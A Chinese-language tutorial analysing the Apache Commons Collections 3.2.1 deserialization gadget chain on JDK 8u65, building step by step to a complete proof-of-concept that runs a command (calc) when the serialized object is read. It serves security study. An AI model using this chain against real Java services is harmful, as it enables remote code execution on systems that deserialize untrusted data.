Apache Commons Collections 简介

开始分析链子之前我们先了解一下什么是Apache Commons Collections。Apache Commons Collections是Apache提供的一个Java库,它扩展了Java自带的集合框架。通过这个库,咱们可以使用更多种类的集合类型,以及各种实用的集合操作工具。这些功能在标准Java库中往往是缺失的,或者实现起来比较繁琐。

JDK版本:

jdk-8U65

下载地址:jdk-8u65-windows-x64.exe下载介绍:基于Java生态的JDK资源下载项目 - AtomGit

jdk-8U65源码下载地址:Release jdk8u65-b10 · openjdk/jdk8u

环境配置步骤:

先配置ida外的

正常下载安装好java环境后 这个src的源码里面是没有sun这个文件夹的

这个时候我们去下载的jdk-8U65源码里面 找到路径 jdk8u-masterjdksrcshareclasses 把这个sun复制到上面的源码src文件夹下

最终形式:

对与ida配置:

新建立一个项目 箭头部分要按照这个 别的名称什么的自己起即可

建立之后打开项目结构:

添加并且导入之前的src源码:

pom.xml文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>text</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.testng</groupId>
            <artifactId>testng</artifactId>
            <version>RELEASE</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
    </dependencies>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>

链子分析

分析之前我们先看看大概的流程图如下,我们先绕过插入的哪个方法 整理思路

一般对与反序列化链子 无论是java还是php的 基本上都是从后往前分析比较好 肯定嘛 先找到危险操作最主要! 先放一个主流程

InvokerTransformer

故事的开始是一处小可疑点 我们发现这个接口 我们传入一个对象 他也会返回一个对象呢 如果我们传入一个可以调用的对象,同时有一个类的调用这个接口的代码会对处理的对象,返回处理后的结果呢?

我们找找调用了这个接口呢 这里还真找到一个:InvokerTransformer这个类

还真的巧 调用了传入的对象 然后反射操作 返回执行的结果 但是我们最最最最主要看看看看参数是否可控呢?

到前面看看这几个属性,看到是私有属性 但是是通过构造方法传入的 并且构造方法是公开的 拿下!

我们本地试一下:大概意思就是我们需要让input传入的是一个Runtime的对象即可:Runtime.getRuntime(),然后第2,3,4的箭头分别要传入危险方法(exec),危险方法的参数属性(Sting.class),执行的命令(calc)

直接构造一波:

TransformedMap

这个时候看看谁能利用transform呢 这个时候找到了TransformedMap类:

其中这个checkSetValue方法里面调用了transfrom 最主要的是valueTransformer这个参数 是否可控呢 不可控就寄 先看构造方法(受保护) 感觉有点寄了

嗯? 公开的静态方法 并且new了构造方法 并且传入的属性就是TransformedMap的valueTransformer 可控 成了

我们尝试构造一波:

不是 咋有点红呢 去看看 不是 也是受保护的啊 行吧 我们看看谁调用了checkSetValue

AbstractInputCheckedMapDecorator

还真找到了一个AbstractInputCheckedMapDecorator

但是很头疼的是 这个setValue是在MapEntry这个类里面 这个类又是保护类

这里看到前面的一个类 有next方法 还new MapEntry 这个时候不免想到正确for循环的底层

我们在向前面看一个类 看到这个类new EntrySetIterator 并且存在iterator方法

我们写一个增强 for 循环调用顺序:entrySet() → iterator() → hasNext() → next() 这个时候就会到setValue,首先先写一个原始map 然后再增强map 然后同增强for循环 其中parent这个值 我们看一个细节 他是继承AbstractInputCheckedMapDecorator的 所以parent这个值其中指定是TransformedMap对象:

构造代码 一直在构造如何调用checkSetValue 但是别忘了传InvokerTransformer这个对象:

细说细节:我们看到这里自定义了一个HashMap 当然类型还有别的(TreeMap等等) 正常的原始的就是map 我们调用的时候就是map.put 但是这里为什么要增强呢 当然是新的map会增加一些功能 这里就是恶意功能 这里构造之后 map.put变成了decorate.put 当然我们执行put没有意义 我们看到万恶之源是AbstractInputCheckedMapDecorator的entrySet 他是增强后for循环调用到setValue的突破口 刚好map默认是可以调用entrySet 的 我们增强后 就会调用我们第一指向的entrySet 。

下图是map源码:

​

AnnotationInvocationHandler

告诉点大家不知道的 反序列化会调用readobject(😊)开玩笑

我们看看能不能找到可以重写的readObject 并且调用了setValue呢 AnnotationInvocationHandler就是了

可以看到如果想调用到setValue 我们需要绕过两个if

我们仔细分析一下:memberTypes.get(name);是获取一个类型 eg:java.class.Runtime 然后呢 memberValue.getKey();是获取一个键值eg:a=b 那么这个值(name)就是a了 注意memberValues我们是可控的 那么我们是否传入一个java自己存在的class属性呢eg:Target.class 我们可以输出一个这个属性的键

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);

调试代码:

所以现在呢 我们就可以让type这个值为Target.class memberValues为decorate即可

但是呢 这个类就是受保护的:

这里也没有其他方法调用 那我们还有一种方法就是:反射!

因为是本地条件 所以触发readObject呢 我们自己写一个(CC2Test)即可:

利用脚本:

我们先尝试断点看是否过了两个if:

直接调试一手 成功到达setValue:

但是 我好像有种不祥的预感 这个setValue里面的参数 不可控啊。。。 之前都是直接传入Runtime.getRuntime()的

这个时候有没有就是一种transform 输入=输出 并且输入可控输入 并且不需要传入transform值或者传什么无所谓的呢

ConstantTransformer

看到transform传入的什么 返回的还是我们自定义的

可以 那我们使用这个transform吧 不可以 这transform没有危险的方法啊 你看之前的InvokerTransformer.transform()这个里面是可以执行反射的 。。。。。。。。

这个时候真神出现了ChainedTransformer

ChainedTransformer

一句话概括这个transform 就是 第一个对象transform返回的内容 当作第二个对象transform传入的内容

那我们想想 是不是可以在增强map里面存放ChainedTransformer这个transform 同时 传入ConstantTransformer对象为第一个

InvokerTransformer对象为第二个呢? 试试去 源码:

最后的最后终于迎来了我们的最后一个问题 那就是Runtime 我们来看看Runtime.java

很明显 没有implements Serializable 意味着没有序列化接口 那么怎么会反序列化呢 不可能啊 所以这个时候就还是老样子反射!

我们先来看看正常的Runtime的反射:

很明显 Runtime.class这个是可以传入的 所以要构造 getMethod,invoke,exec三个方法 下面就是传入相对类型的值就行了

看清楚传入的是什么类型的值即可

然后就是看方法里面的属性类型 eg:getMethod里面是Sring.class和Class[].class即可

最后源码 拿下!

源码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.Test;
import sun.reflect.annotation.AnnotationType;

import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
    @Test
    public void invokeExec() throws Exception{

//        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
//                new Class[]{String.class},
//                new Object[]{"calc"});

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        CC2Test.serialize(o);
        CC2Test.unserialize("ser.bin");

    }

   @Test
    public void test3() throws Exception {
        Class clazz = Runtime.class;
        Method getRuntimeMethod = clazz.getMethod("getRuntime");
        Runtime runtime= (Runtime) getRuntimeMethod.invoke(null);
        Method execMethod = clazz.getMethod("exec", String.class);
        execMethod.invoke(runtime, "calc");
    }
}

完整流程图:

小问题

为什么要这个sun文件夹呢?

因为sun 文件夹里存放的是“Java 核心类库(rt.jar)中所有内部实现类的 Java 源码,我们调试的时候是一些是需要这些java代码的,而不是编译后的class代码 ,因为class里面的一些局部变量会是var1,2,3。。。这种的,调试不便。

​

为什么前面写代码抛异常的时候用了IOException,但是后面又用Exception?

Exception是IOException的父类,他可以抛复杂的异常,会显示的报错栈多一点 不够精细 而IOException就必须精细,可以看清错误点。